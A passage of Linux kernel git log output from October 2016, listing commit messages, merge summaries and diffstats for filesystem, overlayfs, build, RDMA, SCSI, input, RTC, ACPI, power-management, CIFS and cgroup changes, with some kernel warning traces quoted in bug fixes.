asm/uaccess.h, which was previously included through asm/module.h. Cc: Al Viro Fixes: 88dd4a748da7 ("score: separate extable.h, switch module.h to it") Signed-off-by: Guenter Roeck Signed-off-by: Al Viro arch/score/kernel/traps.c | 1 + 1 file changed, 1 insertion(+) commit f1a9622037cd370460fd06bb7e28d0f01ceb8ef1 Author: Oleg Nesterov Date: Mon Sep 26 18:55:25 2016 +0200 fs/super.c: don't fool lockdep in freeze_super() and thaw_super() paths sb_wait_write()->percpu_rwsem_release() fools lockdep to avoid the false-positives. Now that xfs was fixed by Dave's commit dbad7c993053 ("xfs: stop holding ILOCK over filldir callbacks") we can remove it and change freeze_super() and thaw_super() to run with s_writers.rw_sem locks held; we add two trivial helpers for that, lockdep_sb_freeze_release() and lockdep_sb_freeze_acquire(). xfstests-dev/check `grep -il freeze tests/*/???` does not trigger any warning from lockdep. Signed-off-by: Oleg Nesterov Signed-off-by: Al Viro fs/super.c | 37 +++++++++++++++++++++++++------------ 1 file changed, 25 insertions(+), 12 deletions(-) commit 1a892b485f328224b4882818f84fcc0a3208677d Merge: 5d89d9f 7764235 Author: Linus Torvalds Date: Fri Oct 14 17:23:33 2016 -0700 Merge branch 'overlayfs-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/vfs Pull overlayfs updates from Miklos Szeredi: "This update contains fixes to the "use mounter's permission to access underlying layers" area, and miscellaneous other fixes and cleanups. No new features this time" * 'overlayfs-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/vfs: ovl: use vfs_get_link() vfs: add vfs_get_link() helper ovl: use generic_readlink ovl: explain error values when removing acl from workdir ovl: Fix info leak in ovl_lookup_temp() ovl: during copy up, switch to mounter's creds early ovl: lookup: do getxattr with mounter's permission ovl: copy_up_xattr(): use strnlen commit 89f39af129382a40d7cd1f6914617282cfeee28e Author: Oleg Nesterov Date: Mon Sep 26 18:07:48 2016 +0200 fs/super.c: fix race between freeze_super() and thaw_super() Change thaw_super() to check frozen != SB_FREEZE_COMPLETE rather than frozen == SB_UNFROZEN, otherwise it can race with freeze_super() which drops sb->s_umount after SB_FREEZE_WRITE to preserve the lock ordering. In this case thaw_super() will wrongly call s_op->unfreeze_fs() before it was actually frozen, and call sb_freeze_unlock() which leads to the unbalanced percpu_up_write(). Unfortunately lockdep can't detect this, so this triggers misc BUG_ON()'s in kernel/rcu/sync.c. Reported-and-tested-by: Nikolay Borisov Signed-off-by: Oleg Nesterov Cc: stable@vger.kernel.org Signed-off-by: Al Viro fs/super.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 655042cc1406fcec20aa7ffd7d790ada18ac5211 Author: Vivek Goyal Date: Fri Oct 14 03:03:36 2016 +0200 overlayfs: Fix setting IOP_XATTR flag ovl_fill_super calls ovl_new_inode to create a root inode for the new superblock before initializing sb->s_xattr. This wrongly causes IOP_XATTR to be cleared in i_opflags of the new inode, causing SELinux to log the following message: SELinux: (dev overlay, type overlay) has no xattr support Fix this by initializing sb->s_xattr and similar fields before calling ovl_new_inode. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/overlayfs/super.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit ffecee4f2442bb8cb6b34c3335fef4eb50c22fdd Author: Vegard Nossum Date: Sat Oct 8 11:18:07 2016 +0200 iov_iter: kernel-doc import_iovec() and rw_copy_check_uvector() Both import_iovec() and rw_copy_check_uvector() take an array (typically small and on-stack) which is used to hold an iovec array copy from userspace. This is to avoid an expensive memory allocation in the fast path (i.e. few iovec elements). The caller may have to check whether these functions actually used the provided buffer or allocated a new one -- but this differs between the too. Let's just add a kernel doc to clarify what the semantics are for each function. Signed-off-by: Vegard Nossum Signed-off-by: Al Viro fs/read_write.c | 29 +++++++++++++++++++++++++++++ lib/iov_iter.c | 22 ++++++++++++++++++++++ 2 files changed, 51 insertions(+) commit 5d89d9f502f9c33ed0270d716f238429861e1942 Merge: 50cff89 fecf861 Author: Linus Torvalds Date: Fri Oct 14 15:17:12 2016 -0700 Merge tag 'linux-kselftest-4.9-rc1-update' of git://git.kernel.org/pub/scm/linux/kernel/git/shuah/linux-kselftest Pull kselftest updates from Shuah Khan: "This update consists of: - Fixes and improvements to existing tests - Moving code from Documentation to selftests, samples, and tools: * Moves dnotify_test, prctl, ptp, vDSO, ia64, watchdog, and networking tests from Documentation to selftests. * Moves mic/mpssd, misc-devices/mei, timers, watchdog, auxdisplay, and blackfin examples from Documentation to samples. * Moves accounting, laptops/dslm, and pcmcia/crc32hash tools from Documentation to tools. * Deletes BUILD_DOCSRC and its dependencies" * tag 'linux-kselftest-4.9-rc1-update' of git://git.kernel.org/pub/scm/linux/kernel/git/shuah/linux-kselftest: (21 commits) selftests/futex: Check ANSI terminal color support Doc: update 00-INDEX files to reflect the runnable code move samples: move blackfin gptimers-example from Documentation tools: move pcmcia crc32hash tool from Documentation tools: move laptops dslm tool from Documentation tools: move accounting tool from Documentation samples: move auxdisplay example code from Documentation samples: move watchdog example code from Documentation samples: move timers example code from Documentation samples: move misc-devices/mei example code from Documentation samples: move mic/mpssd example code from Documentation selftests: Move networking/timestamping from Documentation selftests: move watchdog tests from Documentation/watchdog selftests: move ia64 tests from Documentation/ia64 selftests: move vDSO tests from Documentation/vDSO selftests: move ptp tests from Documentation/ptp selftests: move prctl tests from Documentation/prctl selftests: move dnotify_test from Documentation/filesystems selftests/timers: Add missing error code assignment before test selftests/zram: replace ZRAM_LZ4_COMPRESS ... commit 50cff89837a43a7c62ac080de9742a298d6418b3 Merge: 84d6984 c899035 Author: Linus Torvalds Date: Fri Oct 14 15:03:08 2016 -0700 Merge branch 'misc' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild Pull misc kbuild changes from Michal Marek: "Just a few patches on the kbuild.git#misc branch this time: - New Coccinelle patch by Nicholas Mc Guire - Existing patch fixes by Julia Lawall - Minor comment fix by Markus Elfring" * 'misc' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild: Coccinelle: flag conditions with no effect scripts/coccicheck: Update reference for the corresponding documentation Coccinelle: pm_runtime: ensure relevance of pm_runtime reports Coccinelle: limit memdup_user transformation to GFP_KERNEL case commit 84d69848c97faab0c25aa2667b273404d2e2a64a Merge: d4d24d2 590abbd Author: Linus Torvalds Date: Fri Oct 14 14:26:58 2016 -0700 Merge branch 'kbuild' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild Pull kbuild updates from Michal Marek: - EXPORT_SYMBOL for asm source by Al Viro. This does bring a regression, because genksyms no longer generates checksums for these symbols (CONFIG_MODVERSIONS). Nick Piggin is working on a patch to fix this. Plus, we are talking about functions like strcpy(), which rarely change prototypes. - Fixes for PPC fallout of the above by Stephen Rothwell and Nick Piggin - fixdep speedup by Alexey Dobriyan. - preparatory work by Nick Piggin to allow architectures to build with -ffunction-sections, -fdata-sections and --gc-sections - CONFIG_THIN_ARCHIVES support by Stephen Rothwell - fix for filenames with colons in the initramfs source by me. * 'kbuild' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild: (22 commits) initramfs: Escape colons in depfile ppc: there is no clear_pages to export powerpc/64: whitelist unresolved modversions CRCs kbuild: -ffunction-sections fix for archs with conflicting sections kbuild: add arch specific post-link Makefile kbuild: allow archs to select link dead code/data elimination kbuild: allow architectures to use thin archives instead of ld -r kbuild: Regenerate genksyms lexer kbuild: genksyms fix for typeof handling fixdep: faster CONFIG_ search ia64: move exports to definitions sparc32: debride memcpy.S a bit [sparc] unify 32bit and 64bit string.h sparc: move exports to definitions ppc: move exports to definitions arm: move exports to definitions s390: move exports to definitions m68k: move exports to definitions alpha: move exports to actual definitions x86: move exports to actual definitions ... commit d4d24d2d0a7ea3b62efd7336bfc2344e29b36bc5 Merge: ac9ef8c 819bf59 Author: Linus Torvalds Date: Fri Oct 14 14:11:22 2016 -0700 Merge tag 'docs-4.9-2' of git://git.lwn.net/linux Pull one more documentation update from Jonathan Corbet: "A single commit converting the mac80211 DocBook template over to Sphinx. Only 32 more to go..." * tag 'docs-4.9-2' of git://git.lwn.net/linux: docs-rst: sphinxify 802.11 documentation commit ac9ef8cd075a1efee13036908a99a4bd5f9d4b8c Merge: b292fb8 993d1b5 Author: Linus Torvalds Date: Fri Oct 14 13:43:08 2016 -0700 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma Pull rdma qedr RoCE driver from Doug Ledford: "Early on in the merge window I mentioned I had a backlog of new drivers waiting to be reviewed and that, in addition to the hns-roce driver, I wanted to get possible a couple more reviewed. I ended up only having the time to complete one of the additional drivers. During Dave Miller's pull request this go around, there were a series of 9 patches to the QLogic qed net driver that add basic support for a paired RoCE driver. That support is currently not functional because it is missing the matching RoCE driver in the RDMA subsystem. I managed to finish that review. However, because it goes against part of Dave's net pull, and a part that was accepted a day or two after the merge window opened, to apply cleanly it has to be applied to either the tip of Dave's net branch, or as I did in this case, I just applied it to your master after you had taken Dave's pull request." * tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: qedr: Add events support and register IB device qedr: Add GSI support qedr: Add LL2 RoCE interface qedr: Add support for data path qedr: Add support for memory registeration verbs qedr: Add support for QP verbs qedr: Add support for PD,PKEY and CQ verbs qedr: Add support for user context verbs qedr: Add support for RoCE HW init qedr: Add RoCE driver framework commit b292fb80bb44726ac1055d443d951a3058fc8263 Merge: 689f891 1bdab40 Author: Linus Torvalds Date: Fri Oct 14 13:35:05 2016 -0700 Merge tag 'for-linus-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma Pull more rdma updates from Doug Ledford: "This merge window was the first where Huawei had to try and coordinate their patches between their net driver and their new roce driver (similar to mlx4 and mlx5). They didn't do horribly, but there were some issues (and we knew that because they simply didn't know what to do in the beginning). As a result, I had a set of patches that depended on some patches that normally would have come to you via Dave's tree. Those patches have been on netdev@ for a while, so I got Dave to give me his approval to send them to you. As such, the other 29 patches I had behind them are also now ready to go. This catches the hns and hns-roce drivers up to current, and for future patches we are working with them to get them up to speed on how to do joint driver development so that they don't have these sorts of cross tree dependency issues again. BTW, Dave gave me permission to add his Acked-by: to the patches against the net tree, but I've had this branch through 0day (but not linux-next since it was off by itself) and I didn't want to rebase the series just to add Dave's ack for the 8 patches in the net area. Updates to the hns drivers: - Small patch set for hns net driver that the roce patches depend on - Various fixes to the hns-roce driver - Add connection manager support to the hns-roce driver" * tag 'for-linus-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: (36 commits) IB/hns: Fix for removal of redundant code IB/hns: Delete the redundant lines in hns_roce_v1_m_qp() IB/hns: Fix the bug when platform_get_resource() exec fail IB/hns: Update the rq head when modify qp state IB/hns: Cq has not been freed IB/hns: Validate mtu when modified qp IB/hns: Some items of qpc need to take user param IB/hns: The Ack timeout need a lower limit value IB/hns: Return bad wr while post send failed IB/hns: Fix bug of memory leakage for registering user mr IB/hns: Modify the init of iboe lock IB/hns: Optimize code of aeq and ceq interrupt handle and fix the bug of qpn IB/hns: Delete the sqp_start from the structure hns_roce_caps IB/hns: Fix bug of clear hem IB/hns: Remove unused parameter named qp_type IB/hns: Simplify function of pd alloc and qp alloc IB/hns: Fix bug of using uninit refcount and free IB/hns: Remove parameters of resize cq IB/hns: Remove unused parameters in some functions IB/hns: Add node_guid definition to the bindings document ... commit 8a4236a2c7868768943a24dc7b1e2ff495836880 Author: Brian King Date: Thu Oct 13 14:45:24 2016 -0500 scsi: ipr: Fix async error WARN_ON Commit afc3f83cb4a5 ("scsi: ipr: Add asynchronous error notification") introduced the warn on shown below. To fix this, rather than attempting to send the KOBJ_CHANGE uevent from interrupt context, which is what is causing the WARN_ON, just wake the ipr worker thread which will send a KOBJ_CHANGE uevent. [ 142.278120] WARNING: CPU: 15 PID: 0 at kernel/softirq.c:161 __local_bh_enable_ip+0x7c/0xd0 [ 142.278124] Modules linked in: ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 ipt_REJECT nf_reject_ipv4 xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ses enclosure scsi_transport_sas sg pseries_rng nfsd auth_rpcgss nfs_acl lockd grace sunrpc ip_tables xfs libcrc32c sr_mod sd_mod cdrom ipr libata ibmvscsi scsi_transport_srp ibmveth dm_mirror dm_region_hash dm_log dm_mod [ 142.278208] CPU: 15 PID: 0 Comm: swapper/15 Not tainted 4.8.0.ipr+ #21 [ 142.278213] task: c00000010cf24480 task.stack: c00000010cfec000 [ 142.278217] NIP: c0000000000c0c7c LR: c000000000881778 CTR: c0000000003c5bf0 [ 142.278221] REGS: c00000010cfef080 TRAP: 0700 Not tainted (4.8.0.ipr+) [ 142.278224] MSR: 8000000000029033 CR: 28008022 XER: 2000000f [ 142.278236] CFAR: c0000000000c0c20 SOFTE: 0 GPR00: c000000000706c78 c00000010cfef300 c000000000f91d00 c000000000706c78 GPR04: 0000000000000200 c000000000f7bc80 0000000000000000 00000000024000c0 GPR08: 0000000000000000 0000000000000001 c000000000ee1d00 c000000000a9bdd0 GPR12: c0000000003c5bf0 c00000000eb22d00 c000000100ca3880 c00000020ed38400 GPR16: 0000000000000000 0000000000000000 c000000100940508 0000000000000000 GPR20: 0000000000000000 0000000000000000 0000000000000000 00000000024000c0 GPR24: c0000000004588e0 c00000010863bd00 c00000010863bd00 c0000000013773f8 GPR28: c000000000f7bc80 0000000000000000 ffffffffffffffff c000000000f7bcd8 [ 142.278290] NIP [c0000000000c0c7c] __local_bh_enable_ip+0x7c/0xd0 [ 142.278296] LR [c000000000881778] _raw_spin_unlock_bh+0x38/0x60 [ 142.278299] Call Trace: [ 142.278303] [c00000010cfef300] [c000000000f7bc80] init_net+0x0/0x1900 (unreliable) [ 142.278310] [c00000010cfef320] [c000000000706c78] peernet2id+0x58/0x80 [ 142.278316] [c00000010cfef370] [c00000000075caec] netlink_broadcast_filtered+0x30c/0x550 [ 142.278323] [c00000010cfef430] [c000000000459078] kobject_uevent_env+0x588/0x780 [ 142.278331] [c00000010cfef510] [d000000003163a6c] ipr_process_error+0x11c/0x240 [ipr] [ 142.278337] [c00000010cfef5c0] [d000000003152298] ipr_fail_all_ops+0x108/0x220 [ipr] [ 142.278343] [c00000010cfef670] [d0000000031643f8] ipr_reset_restore_cfg_space+0xa8/0x240 [ipr] [ 142.278350] [c00000010cfef6f0] [d000000003158a00] ipr_reset_ioa_job+0x80/0xe0 [ipr] [ 142.278356] [c00000010cfef720] [d000000003153f78] ipr_reset_timer_done+0xa8/0xe0 [ipr] [ 142.278363] [c00000010cfef770] [c000000000149c88] call_timer_fn+0x58/0x1c0 [ 142.278368] [c00000010cfef800] [c000000000149f60] expire_timers+0x140/0x200 [ 142.278373] [c00000010cfef870] [c00000000014a0e8] run_timer_softirq+0xc8/0x230 [ 142.278379] [c00000010cfef900] [c0000000000c0844] __do_softirq+0x164/0x3c0 [ 142.278384] [c00000010cfef9f0] [c0000000000c0f18] irq_exit+0x1a8/0x1c0 [ 142.278389] [c00000010cfefa20] [c000000000020b54] timer_interrupt+0xa4/0xe0 [ 142.278394] [c00000010cfefa50] [c000000000002414] decrementer_common+0x114/0x180 Signed-off-by: Brian King Signed-off-by: Martin K. Petersen drivers/scsi/ipr.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit e7cb08e894a0b876443ef8fdb0706575dc00a5d2 Author: Dan Carpenter Date: Fri Oct 14 16:18:39 2016 -0400 scsi: zfcp: spin_lock_irqsave() is not nestable We accidentally overwrite the original saved value of "flags" so that we can't re-enable IRQs at the end of the function. Presumably this function is mostly called with IRQs disabled or it would be obvious in testing. Fixes: aceeffbb59bb ("zfcp: trace full payload of all SAN records (req,resp,iels)") Cc: #2.6.38+ Signed-off-by: Dan Carpenter Signed-off-by: Steffen Maier Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 689f891c980949d3eb64f61651db53cb347e0a13 Merge: 8b70f71 1134ca2 Author: Linus Torvalds Date: Fri Oct 14 13:19:30 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input Pull some more input subsystem updates from Dmitry Torokhov: "An update to the ALPS driver to support the V8 protocol with touchstick, a change for i8042 to skip selftest on many Asus laptops which helps to keep their touchpads working after resume, and a couple other driver fixes" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input: Input: i8042 - skip selftest on ASUS laptops Input: melfas_mip4 - add ic_name sysfs attribute Input: melfas_mip4 - add maintainer information Input: melfas_mip4 - add devicetree binding documentations Input: elantech - add Fujitsu Lifebook E556 to force crc_enabled Input: synaptics-rmi4 - fix error handling in I2C transport driver Input: synaptics-rmi4 - fix error handling in SPI transport driver Input: ALPS - add V8 protocol documentation Input: ALPS - set DualPoint flag for 74 03 28 devices Input: ALPS - allow touchsticks to report pressure Input: ALPS - handle 0-pressure 1F events Input: ALPS - add touchstick support for SS5 hardware Input: elantech - force needed quirks on Fujitsu H760 Input: elantech - fix Lenovo version typo commit 8b70f716174d6a46787fcf72f8c569ef3efd9c27 Merge: e505014 1cd7137 Author: Linus Torvalds Date: Fri Oct 14 13:13:44 2016 -0700 Merge tag 'rtc-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux Pull RTC updates from Alexandre Belloni: "RTC for 4.9 Subsystem: - delete owner assignment in multiple drivers - constify rtc_class_ops structures Drivers: - ac100: support clock-output-names - cmos: properly handle ACPI alarms and quirky BIOSes and other fixes - ds1307: fix century bit support while staying comaptible with previous behaviour by default - ds1347: switch to regmap - isl12057 is now handled by ds1307 - omap: support external wakeup - rv8803: allow to disable voltage drop detection" * tag 'rtc-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux: (25 commits) rtc: rv8803: set VDETOFF and SWOFF via device tree dt/bindings: Add bindings for Micro Crystal rv8803 devicetree: Add Micro Crystal AG vendor id rtc: cmos: avoid unused function warning rtc: ac100: Add NULL checking for devm_kzalloc call rtc: ds1347: changed raw spi calls to register map calls rtc: cmos: Restore alarm after resume rtc: cmos: Clear ACPI-driven alarms upon resume rtc: omap: Support ext_wakeup configuration rtc: cmos: Initialize hpet timer before irq is registered rtc: asm9260: rework locking rtc: asm9260: allow COMPILE_TEST rtc: constify rtc_class_ops structures rtc: ac100: support clock-output-names in device tree binding rtc: rx6110: remove owner assignment rtc: pic32: Delete owner assignment rtc: bq32k: Fix handling of oscillator failure flag rtc: bq32k: Use correct mask name for 'minutes' register. rtc: sysfs: fix a cast removing the const attribute Documentation: dt: Intersil isl12057 is not a trivial device ... commit e5050143d67c80a8705d6fcf5f9972663a0f082e Merge: b41d037 b2edcda Author: Linus Torvalds Date: Fri Oct 14 13:09:41 2016 -0700 Merge branch 'i2c/for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux Pull more i2c updates from Wolfram Sang: "A small update pull request from I2C. This adds one comment to a change we did in this merge window to handle lockdep better, and pulls in a branch which should have been in 4.8 already improving DT support for I2C" * 'i2c/for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux: gpio: pca953x: add a comment explaining the need for a lockdep subclass i2c: core: Add support for 'i2c-bus' subnode dt-bindings: i2c: Add support for 'i2c-bus' subnode commit 9e55d0f95460a067def5400fa5eee5dabb0fc5a5 Merge: 610df1d 1ea2643 Author: David S. Miller Date: Fri Oct 14 16:08:13 2016 -0400 Merge tag 'wireless-drivers-for-davem-2016-10-14' of git://git.kernel.org/pub/scm/linux/kernel/git/kvalo/wireless-drivers Kalle Valo says: ==================== wireless-drivers fixes for 4.9 wlcore * fix a double free regression causing hard to track crashes rtl8xxxu * fix driver reload issues, a memory leak and an endian bug rtlwifi * fix a major regression introduced in 4.9 with firmware loading on certain hardware ath10k * fix regression about broken cal_data debugfs file (since 4.7) ath9k * revert temperature compensation for AR9003+ devices, it was causing too much problems ath6kl * add Dell OEM SDIO I/O for the Venue 8 Pro ==================== Signed-off-by: David S. Miller commit 610df1d2342d639ec87a8fb5290ca4799d91d59b Author: Guenter Roeck Date: Thu Oct 13 16:43:16 2016 -0700 net: asix: Avoid looping when the device does not respond Check answers from USB stack and avoid re-sending the request multiple times if the device does not respond. This fixes the following problem, observed with a probably flaky adapter. [62108.732707] usb 1-3: new high-speed USB device number 5 using xhci_hcd [62108.914421] usb 1-3: New USB device found, idVendor=0b95, idProduct=7720 [62108.914463] usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [62108.914476] usb 1-3: Product: AX88x72A [62108.914486] usb 1-3: Manufacturer: ASIX Elec. Corp. [62108.914495] usb 1-3: SerialNumber: 000001 [62114.109109] asix 1-3:1.0 (unnamed net_device) (uninitialized): Failed to write reg index 0x0000: -110 [62114.109139] asix 1-3:1.0 (unnamed net_device) (uninitialized): Failed to send software reset: ffffff92 [62119.109048] asix 1-3:1.0 (unnamed net_device) (uninitialized): Failed to write reg index 0x0000: -110 ... Since the USB timeout is 5 seconds, and the operation is retried 30 times, this results in [62278.180353] INFO: task mtpd:1725 blocked for more than 120 seconds. [62278.180373] Tainted: G W 3.18.0-13298-g94ace9e #1 [62278.180383] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ... [62278.180957] kworker/2:0 D 0000000000000000 0 5744 2 0x00000000 [62278.180978] Workqueue: usb_hub_wq hub_event [62278.181029] ffff880177f833b8 0000000000000046 ffff88017fd00000 ffff88017b126d80 [62278.181048] ffff880177f83fd8 ffff880065a71b60 0000000000013340 ffff880065a71b60 [62278.181065] 0000000000000286 0000000103b1c199 0000000000001388 0000000000000002 [62278.181081] Call Trace: [62278.181092] [] ? console_conditional_schedule+0x2c/0x2c [62278.181105] [] schedule+0x69/0x6b [62278.181117] [] schedule_timeout+0xe3/0x11d [62278.181133] [] ? trace_timer_start+0x51/0x51 [62278.181146] [] do_wait_for_common+0x12f/0x16c [62278.181162] [] ? wake_up_process+0x39/0x39 [62278.181174] [] wait_for_common+0x52/0x6d [62278.181187] [] wait_for_completion_timeout+0x13/0x15 [62278.181201] [] usb_start_wait_urb+0x93/0xf1 [62278.181214] [] usb_control_msg+0xe1/0x11d [62278.181230] [] usbnet_write_cmd+0x9c/0xc6 [usbnet] [62278.181286] [] asix_write_cmd+0x4e/0x7e [asix] [62278.181300] [] asix_set_sw_mii+0x25/0x4e [asix] [62278.181314] [] asix_mdio_read+0x51/0x109 [asix] ... Signed-off-by: Guenter Roeck Signed-off-by: David S. Miller drivers/net/usb/asix_common.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 85a624403c77c3f074931aefdfced59f61b668cb Author: Jesse Brandeburg Date: Thu Oct 13 16:13:55 2016 -0700 ethtool: silence warning on bit loss Sparse was complaining when we went to prototype some code using ethtool_cmd_speed_set and SPEED_100000, which uses the upper 16 bits of __u32 speed for the first time. CHECK ... .../uapi/linux/ethtool.h:123:28: warning: cast truncates bits from constant value (186a0 becomes 86a0) The warning is actually bogus, as no bits are really lost, but we can get rid of the sparse warning with this one small change. Reported-by: Preethi Banala Signed-off-by: Jesse Brandeburg Signed-off-by: David S. Miller include/uapi/linux/ethtool.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit b41d037a1fd32d6535a2eef877b10f8deefeaf70 Merge: ef98988 522533f Author: Linus Torvalds Date: Fri Oct 14 12:50:05 2016 -0700 Merge tag 'acpi-extra-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull more ACPI updates from Rafael Wysocki: "This includes a couple of fixes needed after recent changes, two ACPI driver fixes (fan and "Processor Aggregator"), an update of the ACPI device properties handling code and a new MAINTAINERS entry for ACPI on ARM64. Specifics: - Fix an unused function warning that started to appear after recent changes in the ACPI EC driver (Eric Biggers). - Fix the KERN_CONT usage in acpi_os_vprintf() that has become (particularly) annoying recently (Joe Perches). - Fix the fan status checking in the ACPI fan driver to avoid returning incorrect error codes sometimes (Srinivas Pandruvada). - Fix the ACPI Processor Aggregator driver (PAD) to always let the special processor_aggregator driver from Xen take over when running as Xen dom0 (Juergen Gross). - Update the handling of reference device properties in ACPI by allowing empty rows ("holes") to appear in reference property lists (Mika Westerberg). - Add a new MAINTAINERS entry for ACPI on ARM64 (Lorenzo Pieralisi)" * tag 'acpi-extra-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: acpi_os_vprintf: Use printk_get_level() to avoid unnecessary KERN_CONT ACPI / PAD: don't register acpi_pad driver if running as Xen dom0 ACPI / property: Allow holes in reference properties MAINTAINERS: Add ARM64-specific ACPI maintainers entry ACPI / EC: Fix unused function warning when CONFIG_PM_SLEEP=n ACPI / fan: Fix error reading cur_state commit ef98988ba369da88bab8a4d457407e71bbe160fa Merge: f34d360 383731d Author: Linus Torvalds Date: Fri Oct 14 12:46:13 2016 -0700 Merge tag 'pm-extra-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull more power management updates from Rafael Wysocki: "This includes a couple of fixes for cpufreq regressions introduced in 4.8, a rework of the intel_pstate algorithm used on Atom processors (that took some time to test) plus a fix and a couple of cleanups in that driver, a CPPC cpufreq driver fix, and a some devfreq fixes and cleanups (core and exynos-nocp). Specifics: - Fix two cpufreq regressions causing undesirable changes in behavior to appear (one in the core and one in the conservative governor) introduced during the 4.8 cycle (Aaro Koskinen, Rafael Wysocki). - Fix the way the intel_pstate driver accesses MSRs related to the hardware-managed P-states (HWP) feature during the initialization which currently is unsafe and may cause the processor to generate a general protection fault (Srinivas Pandruvada). - Rework the intel_pstate's P-state selection algorithm used on Atom processors to avoid known problems with the current one and to make the computation more straightforward, which also happens to improve performance in multiple benchmarks a bit (Rafael Wysocki). - Improve two comments in the intel_pstate driver (Rafael Wysocki). - Fix the desired performance computation in the CPPC cpufreq driver (Hoan Tran). - Fix the devfreq core to avoid printing misleading error messages in some cases (Tobias Jakobi). - Fix the error code path in devfreq_add_device() to use proper locking around list modifications (Axel Lin). - Fix a build failure and remove a couple of redundant updates of variables in the exynos-nocp devfreq driver (Axel Lin)" * tag 'pm-extra-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: cpufreq: CPPC: Correct desired_perf calculation cpufreq: conservative: Fix next frequency selection cpufreq: skip invalid entries when searching the frequency cpufreq: intel_pstate: Fix struct pstate_adjust_policy kerneldoc cpufreq: intel_pstate: Proportional algorithm for Atom PM / devfreq: Skip status update on uninitialized previous_freq PM / devfreq: Add proper locking around list_del() PM / devfreq: exynos-nocp: Remove redundant code PM / devfreq: exynos-nocp: Select REGMAP_MMIO cpufreq: intel_pstate: Clarify comment in get_target_pstate_use_performance() cpufreq: intel_pstate: Fix unsafe HWP MSR access commit 3514de3fd5fab518520e393152d3f4e3d0441d8d Author: Steve French Date: Thu Oct 13 19:06:23 2016 -0500 CIFS: Retrieve uid and gid from special sid if enabled New mount option "idsfromsid" indicates to cifs.ko that it should try to retrieve the uid and gid owner fields from special sids. This patch adds the code to parse the owner sids in the ACL to see if they match, and if so populate the uid and/or gid from them. This is faster than upcalling for them and asking winbind, and is a fairly common case, and is also helpful when cifs.upcall and idmapping is not configured. Signed-off-by: Steve French Reviewed-by: Shirish Pargaonkar Reviewed-by: Jeff Layton Reviewed-by: Pavel Shilovsky fs/cifs/cifsacl.c | 123 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 123 insertions(+) commit 9593265531fa66177a0547e63abd99907ec0a687 Author: Steve French Date: Fri Sep 23 01:36:34 2016 -0500 CIFS: Add new mount option to set owner uid and gid from special sids in acl Add "idsfromsid" mount option to indicate to cifs.ko that it should try to retrieve the uid and gid owner fields from special sids in the ACL if present. This first patch just adds the parsing for the mount option. Signed-off-by: Steve French Reviewed-by: Shirish Pargaonkar Reviewed-by: Pavel Shilovsky fs/cifs/cifs_fs_sb.h | 1 + fs/cifs/cifsfs.c | 2 ++ fs/cifs/cifsglob.h | 1 + fs/cifs/connect.c | 8 +++++++- 4 files changed, 11 insertions(+), 1 deletion(-) commit f34d3606f76a8121b9d4940d2dd436bebeb2f9d7 Merge: b6daa51 bbb427e Author: Linus Torvalds Date: Fri Oct 14 12:18:50 2016 -0700 Merge branch 'for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/cgroup Pull cgroup updates from Tejun Heo: - tracepoints for basic cgroup management operations added - kernfs and cgroup path formatting functions updated to behave in the style of strlcpy() - non-critical bug fixes * 'for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/cgroup: blkcg: Unlock blkcg_pol_mutex only once when cpd == NULL cgroup: fix error handling regressions in proc_cgroup_show() and cgroup_release_agent() cpuset: fix error handling regression in proc_cpuset_show() cgroup: add tracepoints for basic operations cgroup: make cgroup_path() and friends behave in the style of strlcpy() kernfs: remove kernfs_path_len() kernfs: make kernfs_path*() behave in the style of strlcpy() kernfs: add dummy implementation of kernfs_path_from_node() commit 993d1b52615e1a549e55875c3b74308391672d9f Author: Ram Amrani Date: Mon Oct 10 13:15:39 2016 +0300 qedr: Add events support and register IB device Add error handling support. Register ib device with ib stack. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/main.c | 114 ++++++++++++++++++++++++++++++++++++- drivers/infiniband/hw/qedr/verbs.c | 37 ++++++++++++ 